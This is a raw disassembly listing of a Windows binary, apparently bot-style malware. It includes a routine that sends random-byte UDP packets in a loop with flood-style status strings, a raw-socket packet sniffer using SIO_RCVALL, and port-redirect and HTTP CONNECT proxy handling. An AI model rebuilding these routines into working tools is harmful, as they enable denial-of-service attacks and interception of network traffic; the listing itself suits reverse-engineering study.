arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_428908
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428908:				; CODE XREF: sub_4288F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4288F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428920	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014CE
sub_428920	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428940	proc near		; CODE XREF: sub_401A14j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428940
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40173A
		add	esp, 14h
		test	eax, eax
		jz	short loc_428A0E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_428A0E:				; CODE XREF: sub_428940+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_428940	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428AB0	proc near		; CODE XREF: sub_40173Aj

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_437B30
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428B11
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_428B0A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_428B0A:				; CODE XREF: sub_428AB0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428B11:				; CODE XREF: sub_428AB0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_511AC8
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_428B4D
		call	ebx
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B4D:				; CODE XREF: sub_428AB0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_428B6B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_428B7E
; ---------------------------------------------------------------------------


loc_428B6B:				; CODE XREF: sub_428AB0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_428B7E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_428B7E:				; CODE XREF: sub_428AB0+9Bj
					; sub_428AB0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_428B94
		mov	[esp+28h+arg_FFE4], 1


loc_428B94:				; CODE XREF: sub_428AB0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_428BCE


loc_428BBB:				; CODE XREF: sub_428AB0+11Cj
		call	ebx
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_428BBB


loc_428BCE:				; CODE XREF: sub_428AB0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_428C60
		mov	ebp, dword_511C68


loc_428BE6:				; CODE XREF: sub_428AB0+1AEj
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_428C60
		mov	esi, 0Bh


loc_428BF4:				; CODE XREF: sub_428AB0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	near ptr 284020Fh
		nop
		dec	esi
		jnz	short loc_428BF4
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_428C4B
		call	ebx
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_428C4B:				; CODE XREF: sub_428AB0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_428BE6


loc_428C60:				; CODE XREF: sub_428AB0+12Aj
					; sub_428AB0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_428AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428CE0	proc near		; CODE XREF: sub_40209Aj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A37
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_428D3D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D3D:				; CODE XREF: sub_428CE0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428D5D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_428D5D:				; CODE XREF: sub_428CE0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_428CE0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428DC0	proc near		; CODE XREF: sub_401DB1j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40188E
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_448F30
		mov	eax, edi


loc_428E27:				; CODE XREF: sub_428DC0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_428E4B
		test	cl, cl
		jz	short loc_428E47
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_428E4B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_428E27


loc_428E47:				; CODE XREF: sub_428DC0+71j
		xor	eax, eax
		jmp	short loc_428E50
; ---------------------------------------------------------------------------


loc_428E4B:				; CODE XREF: sub_428DC0+6Dj
					; sub_428DC0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_428E50:				; CODE XREF: sub_428DC0+89j
		cmp	eax, ebx
		jnz	short loc_428EA3
		mov	ebp, dword_4D80C7
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_428E67
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EAE


loc_428E67:				; CODE XREF: sub_428DC0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		nop
		call	near ptr 71AB4FD4h
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_428EAE
; ---------------------------------------------------------------------------


loc_428EA3:				; CODE XREF: sub_428DC0+92j
		push	edi
		call	sub_40188E
		add	esp, 4
		mov	ebp, eax


loc_428EAE:				; CODE XREF: sub_428DC0+A5j
					; sub_428DC0+E1j
		cmp	ebp, ebx
		jz	short loc_428EB7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_428EBD


loc_428EB7:				; CODE XREF: sub_428DC0+F0j
		mov	ebp, dword_4D80C7


loc_428EBD:				; CODE XREF: sub_428DC0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	near ptr 71AB8769h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_428FFD
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		nop
		call	near ptr 71AB3E00h
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		call	near ptr 71AB4489h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_428FFD
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_428FE3
		mov	ebx, dword_511CA4


loc_428F53:				; CODE XREF: sub_428DC0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_428FD3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_428FAE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_428FCB
; ---------------------------------------------------------------------------


loc_428FAE:				; CODE XREF: sub_428DC0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_428FD3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_428FCB:				; CODE XREF: sub_428DC0+1ECj
		call	sub_40209A
		add	esp, 8


loc_428FD3:				; CODE XREF: sub_428DC0+1C0j
					; sub_428DC0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_428F53


loc_428FE3:				; CODE XREF: sub_428DC0+187j
		mov	edx, dword_511A90
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_428FFD:				; CODE XREF: sub_428DC0+11Dj
					; sub_428DC0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_428DC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4290B0	proc near		; CODE XREF: sub_401898j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4290B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401FA0
		push	offset off_446EFC
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F12C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4290B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429120	proc near		; CODE XREF: sub_401FA0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429120	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4291E0	proc near		; CODE XREF: sub_4017A8j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4291E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4291E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4292B0:				; CODE XREF: ___:00401A23j
					; ___:loc_402086j
		push	esi
		mov	esi, ecx
		call	sub_4017A8
		test	byte ptr [esp+8], 1
		jz	short loc_4292C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292C8:				; CODE XREF: ___:004292BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4292E0	proc near		; CODE XREF: ___:00401096j sub_401C3Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015FF
		test	[esp+4+arg_0], 1
		jz	short loc_4292F8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4292F8:				; CODE XREF: sub_4292E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4292E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429310	proc near		; CODE XREF: sub_4015FFj
		jmp	sub_4017A8
sub_429310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429330	proc near		; CODE XREF: sub_4015B9j
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_401DB1
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_429330	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429450	proc near		; CODE XREF: sub_401893j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401FA0
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_40142E
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43F14C
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015E1
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_429450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429510	proc near		; CODE XREF: ___:00401E2Ej sub_4021D5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BE5
		test	[esp+4+arg_0], 1
		jz	short loc_429528
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429528:				; CODE XREF: sub_429510+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_429510	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429540	proc near		; CODE XREF: sub_401BE5j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_511C9C
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43F14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42955E
		push	eax
		call	edi


loc_42955E:				; CODE XREF: sub_429540+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42956C
		push	eax
		call	edi


loc_42956C:				; CODE XREF: sub_429540+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_4017A8
		pop	edi
		pop	esi
		retn
sub_429540	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4295B0:				; CODE XREF: ___:loc_401D3Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43CDB2
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	byte ptr [esp+12h], 0


loc_4295E8:				; CODE XREF: ___:0042A576j
		lea	ecx, [esp+0B8h]
		call	sub_401B4A
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+54A0h], 0
		mov	byte ptr [esp+13h], 0
		call	sub_40142E
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+398h]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+54B0h], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A600
		lea	edx, [esp+394h]
		lea	ecx, [esp+30h]
		push	edx
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+54A4h], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4296A0
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A570
; ---------------------------------------------------------------------------


loc_4296A0:				; CODE XREF: ___:00429664j
		push	offset asc_444600 ; " "
		lea	eax, [esp+234h]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset off_447214
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 3
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429765
		push	offset asc_444600 ; " "
		lea	ecx, [esp+21Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
